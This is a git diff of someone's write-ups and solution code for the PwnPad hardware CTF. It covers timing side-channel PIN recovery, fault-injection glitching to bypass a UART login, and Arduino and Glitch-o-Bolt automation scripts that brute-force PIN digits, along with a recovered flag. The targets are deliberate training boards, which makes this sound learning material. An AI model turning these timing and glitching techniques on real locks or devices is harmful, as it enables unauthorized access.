+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
